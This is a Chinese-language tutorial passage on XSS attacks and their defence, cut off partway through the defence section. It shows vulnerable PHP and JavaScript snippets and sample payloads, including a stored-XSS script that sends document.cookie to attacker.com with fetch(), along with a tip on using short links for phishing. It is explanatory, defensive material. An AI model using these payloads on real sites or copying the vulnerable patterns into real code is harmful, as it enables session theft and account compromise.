XSS攻击防御实战：原理、类型与解决方案

1. XSS攻击的本质与危害解析

XSS（Cross-Site Scripting）作为OWASP Top 10常驻嘉宾，本质上是一种将恶意脚本注入到可信网站中的攻击手段。不同于多数人想象的"脚本"仅限于JavaScript，现代XSS攻击已经发展到可以嵌入Flash、HTML5甚至SVG等多种载体。我在某次企业渗透测试中，就曾通过SVG的onload事件成功触发了存储型XSS。

攻击者通常利用以下三个漏洞环节：

• 用户输入点未过滤（如评论区、搜索框）
• 后端存储未转义（如数据库直接存储原始HTML）
• 前端渲染未编码（如innerHTML直接输出）

去年某电商平台爆出的XSS蠕虫事件就是典型案例。攻击者通过商品评价区注入恶意脚本，当管理员查看后台时自动窃取会话cookie，最终导致百万用户数据泄露。这种"水坑攻击"模式（Watering Hole Attack）的破坏力远超传统XSS。

2. XSS攻击类型深度剖析

2.1 反射型XSS实战模拟

假设存在漏洞的搜索页面：

php复制// search.php
echo "您搜索的关键词: ".$_GET['q'];

攻击者构造恶意链接：

code复制https://example.com/search.php?q=<script>alert(document.cookie)</script>

当用户点击该链接时，脚本就会在当前域名下执行。我在内部红队演练中发现，结合短链接服务（如bit.ly）可大幅提高钓鱼成功率。

2.2 存储型XSS的持久化威胁

以留言板系统为例：

javascript复制// 漏洞代码
document.getElementById('comment').innerHTML = userInput;

攻击者提交：

html复制<script>
fetch('https://attacker.com/steal?cookie='+document.cookie)
</script>

所有访问该页面的用户都会自动向攻击者服务器发送cookie。某知名论坛曾因此漏洞导致连续30天的用户会话劫持。

2.3 DOM型XSS的隐蔽特性

以下代码存在典型DOM XSS：

javascript复制let hash = location.hash.substring(1);
document.write("Welcome "+hash);

攻击者构造URL：

code复制https://example.com#<img src=x onerror=alert(1)>

这种不依赖服务器响应的纯前端漏洞，往往能绕过传统WAF的检测。去年某金融APP就因此漏洞泄露了用户敏感信息。

3. 企业级防御方案实战

3.1 输入过滤的黄金法则

推荐使用DOMPurify作为基础过滤库：

javascript复制import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirtyInput);

需要特别注意：

• 避免使用正则表达式处理HTML（如/